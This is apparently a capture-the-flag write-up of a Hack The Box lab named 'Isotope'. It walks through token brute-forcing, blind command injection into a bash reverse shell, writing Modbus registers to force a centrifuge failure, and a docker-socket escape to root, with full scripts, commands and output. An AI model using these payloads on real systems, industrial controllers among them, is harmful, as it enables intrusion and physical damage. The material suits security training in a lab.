Post

Isotope

Challenge

Synopsis

This challenge starts with reverse engineering a Rust API web program, abuse an account activation token for registration, and obtaining a reverse shell through an authenticated API endpoint via blind command injection. After which, there are Modbus registers to the centrifuges that can be written to cause a critical system failure, which when done, provides access via SSH on port 2222 to a docker container. This docker container has a mounted docker socket inside which can be leveraged to access the host.

Recon

Connect to the HTB VPN via sudo openvpn <vpntoken>.ovpn

Running an nmap scan on the target, identify a website running, SSH service, and NFS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Nmap scan report for isotope.htb (10.129.229.86)
Host is up (0.019s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http     nginx 1.24.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://isotope.htb/
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      39634/udp6  mountd
|   100005  1,2,3      40079/tcp6  mountd
|   100005  1,2,3      41227/tcp   mountd
|   100005  1,2,3      44207/udp   mountd
|   100021  1,3,4      40719/tcp   nlockmgr
|   100021  1,3,4      46873/tcp6  nlockmgr
|   100021  1,3,4      47651/udp   nlockmgr
|   100021  1,3,4      58503/udp6  nlockmgr
|   100024  1          36533/tcp6  status
|   100024  1          54243/tcp   status
|   100024  1          55816/udp6  status
|   100024  1          60476/udp   status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
40719/tcp open  nlockmgr 1-4 (RPC #100021)
41227/tcp open  mountd   1-3 (RPC #100005)
45571/tcp open  mountd   1-3 (RPC #100005)
45779/tcp open  mountd   1-3 (RPC #100005)
54243/tcp open  status   1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add isotope.htb to your /etc/hosts file for local DNS resolution.

Browsing the website of http://isotope.htb/we identify a welcome page as shown below: isotope_1

Port 2049 was identified as being open and typically this is for Network File Shares (NFS). Since its version 3, we can show the mount points, mount the share, copy all the files from the share, and unmount the share.

1
2
3
4
5
6
7
8
9
10
$ showmount -e isotope.htb
Export list for isotope.htb:
/opt/share *

$ sudo mount -t nfs isotope.htb:/opt/share /mnt/
$ find /mnt/ -ls
.rw-r--r-- root   root     27 KB Mon Jul 10 04:11:13 2023  backend.tar.bz2
.rw-r--r-- root   root    4.6 MB Thu Jul  6 11:23:57 2023  Commonwealth of Arodor Maximus Final.pdf
$ cp /mnt/* .
$ sudo umount /mnt/

Analyzing the share file contents, the PDF “Commonwealth of Arodor Maximus Final.pdf” explains the architectural design of Programmable Logic Controller (PLC) with Centrifuges all communicating over Modbus TCP/5020 as shown below. isotope_2

The next page goes over the modbus register addresses and what they are primarily used for as shown below. isotope_3

Continuing on analyzing the share file contents, there is a file backend.tar.bz2 that can be unextracted and browsed using VSCode.

1
2
$ tar xjf backend.tar.bz2
$ code backend/

It appears to be a Rust API web program with the following routes:

  • POST /api/register
  • POST /api/login
  • POST /api/activate
  • GET /api/logout
  • GET/POST /api/data
  • GET /api/status
  • GET /api/check_login_status
  • GET/POST /api/reset

We still need to identify the website, so we turn to virtual host fuzzing using ffuf and it identifies the monitor.isotope.htb website!

1
2
3
4
$ ffuf -r -ac -mc all -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.isotope.htb' -u http://isotope.htb

[Status: 200, Size: 660, Words: 35, Lines: 1, Duration: 24ms]
* FUZZ: monitor

Browsing the website of http://monitor.isotope.htb/we get redirected to a login page of http://monitor.isotope.htb/loginas shown below: isotope_4

We can attempt to register a user at [http://monitor.isotope.htb/register](http://monitor.isotope.htb/register, I used test:test for credentials: isotope_5

However, logging in with these credentials we are prompted with a message saying our account needs to be activated by an administrator: isotope_6

Bypass Account Activation

Browsing the application backend software from before, we can pinpoint the authentication revolving the activation code located in src/services/mod.rs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#[post("/register", format = "json", data = "<post>")]
pub fn register(post: Json<DisplayUser>) -> Result<Created<Json<Value>>, rocket::response::status::Custom<Json<ApiResponse>>> {
    let connection: &mut MysqlConnection = &mut establish_connection_pg();

    let hashed_password: String = match hash(&post.password, DEFAULT_COST) {
        Ok(hash) => hash,
        Err(_) => {
            let error_response: ApiResponse = ApiResponse::new("error", "Illegal Password.");
            return Err(error_response.to_json_with_status(Status::InternalServerError));
        },
    };

    let token: String = generate_token(&post.username);

    let new_post: User = User {
        id: None,
        username: post.username.to_string(),
        password: hashed_password,
        activated: 0,
        token,
    };

    if diesel::insert_into(self::schema::users::dsl::users)
        .values(&new_post)
        .execute(connection)
        .is_err() {
            let error_response: ApiResponse = ApiResponse::new("error", "Please choose a unique username.");
            return Err(error_response.to_json_with_status(Status::InternalServerError));
        }

    let response_body: Value = json!({
        "status": "success",
        "message": "User created"
    });

    Ok(Created::new("/").body(Json(response_body)))
}

Upon registration, the account activation token is generated and inserted into the database. The generate_token function is also located in src/services/mod.rs. It is a simple SHA256 sum of the username and current timestamp. We can bruteforce this if the server is not synced up with us, typically a safe range is +/- 10 seconds.

1
2
3
4
5
6
7
8
9
10
pub fn generate_token(username: &str) -> String {
    use sha2::{Sha256, Digest};
    let current_time: i64 = chrono::Utc::now().timestamp();
    let data: String = format!("{}{}", username, current_time);
    let mut hasher = Sha256::new();
    hasher.update(data);
    let result = hasher.finalize();

    result.iter().map(|b| format!("{:02x}", b)).collect::<String>()
}

The following python code was used for automating this registration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3

# Imports
import hashlib
import requests
import time
import uuid

# Constants
URL = "http://monitor.isotope.htb"

# Generate session
s = requests.Session()
s.proxies.update({"http": "http://127.0.0.1:8080",
                  "https": "http://127.0.0.1:8080"})
s.headers.update(
    {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"})
s.verify = False  # Self-signed certificate remove-validation

# Check connectivity
resp = s.get(URL, verify=False)
assert resp.status_code == 200, f"Connection failed with status code: {resp.status_code}"


def generate_activation_token(username, time):
    """This generates an activation code prior to activation.
    """
    data = f"{username}{time}"
    hashed_data = hashlib.sha256(data.encode()).digest()
    result = ''.join(format(byte, '02x') for byte in hashed_data)
    return result


def login_account(username, password):
    """/api/login
    Used to register a new account.
    """
    data = {"username": username, "password": password}
    resp = s.post(url=URL+"/api/login", json=data)
    return resp


def register_account(username, password):
    """/api/register
    Used to register a new account.
    """
    data = {"username": username, "password": password}
    resp = s.post(url=URL+"/api/register", json=data)
    return resp


def activate_account(token):
    """/api/activate
    Used to activate a new account.
    """
    resp = s.post(url=URL+"/api/activate", json=token)
    return resp

# Register a new account
username = str(uuid.uuid4())[:8]
password = username
before_time = int(time.time())
register_account(username, password)
assert resp.status_code == 200, f"Register failed with status code: {resp.status_code}"
after_time = int(time.time())

# Bruteforce activation code
for t in range(before_time-5, after_time+5):
    token = generate_activation_token(username, t)
    resp = activate_account(token)
    if resp.status_code == 200:
        break
assert resp.status_code == 200, f"Activation failed with status code: {resp.status_code}"

# Login
login_account(username, password)
assert resp.status_code == 200, f"Login failed with status code: {resp.status_code}"
print(f"[+] Login successful {username}:{password}")

After logging in, we are then presented with a nice Centrifuge administration window called “Isotope Foundry Dashboard”: isotope_7

With our authenticated session, we can restart centrifuges which maps to a POST request to /api/reset. Since we know from documentation review they are leveraging modbus to control these centrifuges, we could imagine that they are doing this with a system call and might not have strict input-parsing. This leads us to look into blind command injection with the goal of obtaining Remote Code Execution (RCE).

Typically you could identify this in stages, with a simple ping-back and then to a reverse shell payload. It is safer to use a bash-only reverse shell as the only dependency is to have bash, versus something like curl/wget for a custom payload.

The following was added to the existing code to send a reset code and obtain a reverse shell on the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python3

# Imports
import hashlib
import random
import requests
import time
import uuid


# Constants
URL = "http://monitor.isotope.htb"

# Generate session
s = requests.Session()
s.proxies.update({"http": "http://127.0.0.1:8080",
                  "https": "http://127.0.0.1:8080"})
s.headers.update(
    {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"})
s.verify = False  # Self-signed certificate remove-validation

# Check connectivity
resp = s.get(URL, verify=False)
assert resp.status_code == 200, f"Connection failed with status code: {resp.status_code}"


def generate_activation_token(username, time):
    """This generates an activation code prior to activation.
    """
    data = f"{username}{time}"
    hashed_data = hashlib.sha256(data.encode()).digest()
    result = ''.join(format(byte, '02x') for byte in hashed_data)
    return result


def login_account(username, password):
    """/api/login
    Used to register a new account.
    """
    data = {"username": username, "password": password}
    resp = s.post(url=URL+"/api/login", json=data)
    return resp


def register_account(username, password):
    """/api/register
    Used to register a new account.
    """
    data = {"username": username, "password": password}
    resp = s.post(url=URL+"/api/register", json=data)
    return resp


def activate_account(token):
    """/api/activate
    Used to activate a new account.
    """
    resp = s.post(url=URL+"/api/activate", json=token)
    return resp


def send_reset_code(plc_num, cmd=None):
    """/api/reset
    Used to reset a PLC
    """
    if cmd:
        data = {"id": f"{plc_num};{cmd} #"}
    else:
        data = {"id": f"{plc_num}"}
    print(f"[*] Sending reset code to PLC #{plc_num} ...")
    resp = s.post(url=URL+"/api/reset", json=data)
    return resp

# Register a new account
username = str(uuid.uuid4())[:8]
password = username
before_time = int(time.time())
register_account(username, password)
assert resp.status_code == 200, f"Register failed with status code: {resp.status_code}"
after_time = int(time.time())

# Bruteforce activation code
for t in range(before_time-5, after_time+5):
    token = generate_activation_token(username, t)
    resp = activate_account(token)
    if resp.status_code == 200:
        break
assert resp.status_code == 200, f"Activation failed with status code: {resp.status_code}"

# Login
login_account(username, password)
assert resp.status_code == 200, f"Login failed with status code: {resp.status_code}"
print(f"[+] Login successful {username}:{password}")

# Reverse shell
send_reset_code(1,"`bash -c 'bash -i >& /dev/tcp/10.10.14.79/4444 0>&1'`")
1
2
3
$ python3 isotope_api.py
[+] Login successful 1eb2820f:1eb2820f
[*] Sending reset code to PLC #1 ...
1
2
3
4
5
6
7
8
9
10
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.229.86:46036.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
controller@e16fd8be6aff:/app$ id
uid=1000(controller) gid=1000(controller) groups=1000(controller)

Centrifuge Critical Failure

We are now in a limited docker container as the controller user. We

1
2
3
4
5
6
7
controller@e16fd8be6aff:/app$ ls -la
total 4624
drwxr-xr-x 1 root root    4096 Jul 10 12:31 .
drwxr-xr-x 1 root root    4096 Jul 18 02:31 ..
-rw-rw-r-- 1 root root     401 Jul 10 12:31 Dockerfile
-rwxrwxr-x 1 root root    7709 Jul  4 17:08 plc.py
-rwxr-xr-x 1 root root 4710344 Jul  4 13:08 restart

Analyzing the plc.py file, it is the software that is communicating over modbus to the centrifuges! It seems there is logic that when all the centrifuges are down, we obtain an SSH key that can be used to login as root to the “diagnostics container” over Port 2222.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#
# Programmable Logic Controller for Centrifuge System
#
# This advanced software serves as the brain of the centrifuge system. By continuously polling data from the modbus registers associated with each centrifuge, it monitors the state of the centrifuges in real-time. This information includes parameters such as speed, temperature, pressure, and status.
#
# Based on the inputs it processes, the PLC makes informed decisions to control the system's outputs. These actions could range from modulating centrifuge parameters to maintain optimal conditions, to shutting down a centrifuge in response to abnormal readings.
#
# As the last line of defence, the PLC is equipped with a failsafe mechanism. If an extreme situation is detected where all centrifuges are down, the PLC will activate this failsafe, mitigating potential damage and ensuring system safety.
#
# Furthermore, the PLC is designed to forward the processed centrifuge data to an API. This feature enables the system's status to be remotely monitored, further enhancing control and flexibility.
#
# In the event of necessary maintenance or required system resets, the PLC can also restart the centrifuges remotely. This ensures the system maintains the highest possible uptime and allows for quick recovery from unexpected events.
#
# Property of the Isotope Foundry© - Unauthorized access strictly prohibited and punishable.
#


import time
import requests
import json
import subprocess
import os
import docker
from pymodbus.client.sync_diag import ModbusTcpClient

CENTRIFUGE_COUNT = 5

ADDRESSES = {
        "speed": 50001,
        "temperature": 50002,
        "pressure": 50003,
        "status": 50004
}

OFFSET = len(ADDRESSES)
SLAVE_ID_START = 3

MODBUS_SERVER_IP = 'localhost'
MODBUS_SERVER_PORT = 5020

# Route over NGINX on frontend
REST_ENDPOINT = "http://backend:8000/api"

NORMAL_RANGES = {
    "speed": (20000, 39900),
    "temperature": (120, 250),
    "pressure": (5, 18),
}

class PLC:
    def __init__(self):
        self.failsafe_mode = False
        self.session = requests.Session()
        self.get_auth_cookie()
        self.client = ModbusTcpClient(MODBUS_SERVER_IP, port=MODBUS_SERVER_PORT)

    def read_inputs(self):
        data = []
        for i in range(CENTRIFUGE_COUNT):
            try:
                if not self.client.connected:
                    self.revive_client()

                speed = self.client.read_holding_registers(ADDRESSES["speed"]+(OFFSET*i), 1, slave=SLAVE_ID_START+i).registers[0]
                temperature = self.client.read_holding_registers(ADDRESSES["temperature"]+(OFFSET*i), 1, slave=SLAVE_ID_START+i).registers[0]
                pressure = self.client.read_holding_registers(ADDRESSES["pressure"]+(OFFSET*i), 1, slave=SLAVE_ID_START+i).registers[0]
                status = self.client.read_holding_registers(ADDRESSES["status"]+(OFFSET*i), 1, slave=SLAVE_ID_START+i).registers[0]

                data.append({
                    'id': i+1,
                    'speed': speed,
                    'temperature': temperature,
                    'pressure': pressure,
                    'status': status,
                    })
            except Exception as e:
                print(f"Error reading registers for slave_id {SLAVE_ID_START}: {e}")

        return data

    def shutdown_centrifuge(self, centrifuge_id):
        """
        Shutdown centrifuge by setting its status register to 0.
        """
        try:
            if not self.client.connected:
                self.revive_client()

            # Write 0 to the status register of the specified centrifuge
            self.client.write_register(ADDRESSES["status"] + (OFFSET * (centrifuge_id - 1)), 0, slave=SLAVE_ID_START + centrifuge_id - 1)
        except Exception as e:
            print(f"Error shutting down centrifuge {centrifuge_id}: {e}")

    def healthcheck(self, data):
        """
        Check centrifuges' health.
        If abnormal -> Shut <id> down to minimise damage.
        If all down -> Activate failsafe to run diagnostics.
        """
        all_down = True

        for centrifuge in data:
            if centrifuge['status'] == 0:
                continue

            abnormal = any(centrifuge[param] < NORMAL_RANGES[param][0] or centrifuge[param] > NORMAL_RANGES[param][1] for param in ("speed", "temperature", "pressure"))

            if abnormal:
                self.shutdown_centrifuge(centrifuge['id'])
            else:
                all_down = False

        if all_down and not self.failsafe_mode:
            self.activate_failsafe()

    def activate_failsafe(self):
        """
        Spawn diagnostics container.
        SSH key available on the dashboard once catastrophic failure kicks in.
        Use lazydocker in case something's wrong with the containers.
        """
        self.failsafe_mode = True

        client = docker.from_env()
        container = client.containers.run("diagnostics", detach=True, ports={'22/tcp': 2222},
                volumes={'/var/run/docker.sock':{'bind': '/var/run/docker.sock', 'mode':'rw'}},
                cap_add=["CHOWN", "DAC_OVERRIDE", "FOWNER", "FSETID", "KILL", "SETGID", "SETUID", "NET_BIND_SERVICE", "SYS_CHROOT", "AUDIT_WRITE"],
                cap_drop=["ALL"])

    def forward_to_api(self, data):
        headers = {'Content-Type': 'application/json'}

        try:
            r = self.session.post(f"{REST_ENDPOINT}/data", data=json.dumps(data), headers=headers)
            if r.status_code != 200:
                print(f"Error sending data to API, status code: {r.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error sending data to API: {e}")

    def check_reset(self):
        try:
            r = self.session.get(f"{REST_ENDPOINT}/reset")
            if r.status_code == 200:
                reset_id = r.json().get("id", None)
                if reset_id is not None:
                    self.restart_plc(reset_id)
            else:
                print(f"Error checking reset, status code: {r.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error checking reset: {e}")

    def restart_plc(self, reset_id):
        try:
            binary_path = "/app/restart"
            command = f"{binary_path} {reset_id}"

            subprocess.Popen(command, preexec_fn=demote, shell=True)
        except Exception as e:
            print(f"Error restarting PLC: {e}")


    def revive_client(self):
        try:
            # Use existing slave_id and address to test the connection
            test_read = self.client.read_holding_registers(1, 1, slave=1)
        except:
            pass


    def get_auth_cookie(self):
        credentials = {"username": os.getenv('ADMIN_USERNAME'), "password": os.getenv('ADMIN_PASSWORD')}
        headers = {'Content-Type': 'application/json'}

        while True:
            try:
                    r = self.session.post(f"{REST_ENDPOINT}/login", data=json.dumps(credentials), headers=headers)
                    if r.status_code == 200:
                        return

            except Exception as e:
                print("Failed to authenticate.", e)

            time.sleep(5)


def demote():
    """
    Static function to drop privileges when running system command.
    """
    os.setgroups([1000])
    os.setgid(1000)
    os.setuid(1000)

if __name__ == "__main__":
    print("Initializing...")
    time.sleep(20)
    plc = PLC()

    while True:
        data = plc.read_inputs()
        plc.forward_to_api(data)
        plc.check_reset()
        plc.healthcheck(data)

        time.sleep(5)

I created a plcbad.py script as shown below that when run sends abnormal values to the holding registers over modbus. When the application plc.py reads those same registers, they will think the centrifuges are abnormal and reset them all leading to the SSH key! `

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3

# Imports
from pymodbus.client.sync_diag import ModbusTcpClient
from time import sleep

CENTRIFUGE_COUNT = 5

ADDRESSES = {
        "speed": 50001,
        "temperature": 50002,
        "pressure": 50003,
        "status": 50004
}

OFFSET = len(ADDRESSES)
SLAVE_ID_START = 3

MODBUS_SERVER_IP = 'localhost'
MODBUS_SERVER_PORT = 5020

NORMAL_RANGES = {
    "speed": (20000, 39900),
    "temperature": (120, 250),
    "pressure": (5, 18),
}

client = ModbusTcpClient(MODBUS_SERVER_IP, port=MODBUS_SERVER_PORT)

while True:
    for i in range(CENTRIFUGE_COUNT):
        print("Setting bad values ...")
        speed = client.write_register(ADDRESSES["speed"]+(OFFSET*i), value=NORMAL_RANGES["speed"][0]-1 ,slave=SLAVE_ID_START+i)
        temperature = client.read_holding_registers(ADDRESSES["temperature"]+(OFFSET*i), value=NORMAL_RANGES["temperature"][0]-1, slave=SLAVE_ID_START+i)
        pressure = client.read_holding_registers(ADDRESSES["pressure"]+(OFFSET*i), value=NORMAL_RANGES["pressure"][0]-1, slave=SLAVE_ID_START+i)
        print("Waiting to do it again ...")
        sleep(10)

Since the docker instance doesn’t have much utilities we use a custom bash living off the land solution to fetch files from our host and run the python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function _get() {
    read proto server path <<<$(echo ${1//// })
    DOC=/${path// //}
    HOST=${server//:*}
    PORT=${server//*:}
    [ x"${HOST}" == x"${PORT}" ](%20x%22$%7BHOST%7D%22%20==%20x%22$%7BPORT%7D%22%20) && PORT=80
    exec 3<>/dev/tcp/${HOST}/$PORT
    echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
    (while read line; do
        [ "$line" ==  && break
    done && cat) <&3
    exec 3>&-
}
$ _get http://10.10.14.79/plcbad.py > /tmp/plcbad.py
$ python3 /tmp/plcbad.py
Setting bad values ...
Waiting to do it again ...

This causes a catastrophic failure and provides us the SSH key!

isotope_8

The SSH key can also be found on the client side in http://monitor.isotope.htb/static/js/main.396aa658.js. Copying the SSH key from the Catastrophic Failure Detected window and utilizing it is successful:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ssh -p2222 -i root_key root@isotope.htb
a29634d74c60:~# ls -la
total 36
drwx------    1 root     root          4096 Jul 18 06:19 .
drwxr-xr-x    1 root     root          4096 Jul 18 06:12 ..
-rw-------    1 root     root           344 Jul 18 06:22 .ash_history
-rw-r--r--    1 root     root            35 Jul 11 08:29 .bashrc
drwxr-xr-x    3 root     root          4096 Jul 11 08:27 .cache
drwx------    1 root     root          4096 Jul 11 08:27 .ssh
drwxr-xr-x    4 root     root          4096 Jul 11 08:29 go
-rw-r-----    1 root     root            45 Jul  5 20:10 user.txt
a29634d74c60:~# cat user.txt
HTB{d0_Not_sp1n_g3ntl3_1nt0_th4t_g00d_n1ght}

User Flag: HTB{d0_Not_sp1n_g3ntl3_1nt0_th4t_g00d_n1ght}

Mounted Docker Socket Breakout

When enumerating the container, we find a mounted docker socket that can be leveraged to communicate with the docker. This follows close to https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#mounted-docker-socket-escape for reference. However, the target doesn’t have the docker binary available to communicate. We have two options:

  1. Add a static docker binary or one that is dynamically-linked that is specific to the targets operating system.
  2. Forward the socket to our own machine to communicate with it!

Option 1 - Static Docker

Download and host the docker binary from https://download.docker.com/linux/static/stable/x86_64/ on a python webserver:

1
2
3
wget http://10.10.14.79/docker -O /tmp/docker ; chmod 777 /tmp/docker
/tmp/docker -H unix:///run/docker.sock images
/tmp/docker -H unix:///run/docker.sock run -it -v /:/host/ diagnostics chroot /host/ bash

Option 2 - Unix Socket Forwarding

Forward docker socket to my machine:

1
$ ssh -p2222 -i root_key -nNT -L /tmp/docker.sock:/run/docker.sock root@isotope.htb

View docker images:

1
2
3
4
5
6
7
8
$ docker -H unix:///tmp/docker.sock images
REPOSITORY        TAG       IMAGE ID       CREATED       SIZE
diagnostics       latest    d097ffb2f726   6 days ago    607MB
docker-frontend   latest    2dfcb1b3325e   6 days ago    71.1MB
docker-plc        latest    e824d211ba42   7 days ago    152MB
docker-backend    latest    5db062478c4c   8 days ago    208MB
docker-conpot     latest    c4b0c52998e2   13 days ago   661MB
mysql             latest    041315a16183   13 days ago   565MB

Run the image mounting the host disk and chroot on it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ docker -H unix:///tmp/docker.sock run -it -v /:/host/ diagnostics chroot /host/ bash
root@658ee9b6a42a:/# cd /root
root@658ee9b6a42a:~# ls -la
total 52
drwx------ 10 root root 4096 Jul 11 08:37 .
drwxr-xr-x 19 root root 4096 Jul  5 18:43 ..
lrwxrwxrwx  1 root root    9 Apr 27 16:10 .bash_history -> /dev/null
-rw-r--r--  1 root root 3127 Jun 28 14:08 .bashrc
drwx------  2 root root 4096 Jul  4 22:27 .cache
drwxr-xr-x  3 root root 4096 Jul 10 07:01 .cargo
drwx------  3 root root 4096 May 12 12:36 .config
drwx------  3 root root 4096 Jun 28 15:32 .docker
drwxr-xr-x  3 root root 4096 Apr 27 16:35 .local
-rw-r--r--  1 root root  182 Jun 28 14:08 .profile
drwxr-xr-x  6 root root 4096 Jun 28 14:08 .rustup
drwxr-xr-x  5 root root 4096 Jul  5 11:16 Docker
-rw-r-----  1 root root   37 Jul  5 18:33 root.txt
drwx------  3 root root 4096 Apr 27 16:07 snap
root@658ee9b6a42a:~# cat root.txt
HTB{M0dbus_M4kes_Th3_W0rld_Go_R0und}

Root Flag: HTB{M0dbus_M4kes_Th3_W0rld_Go_R0und}

This post is licensed under CC BY 4.0 by the author.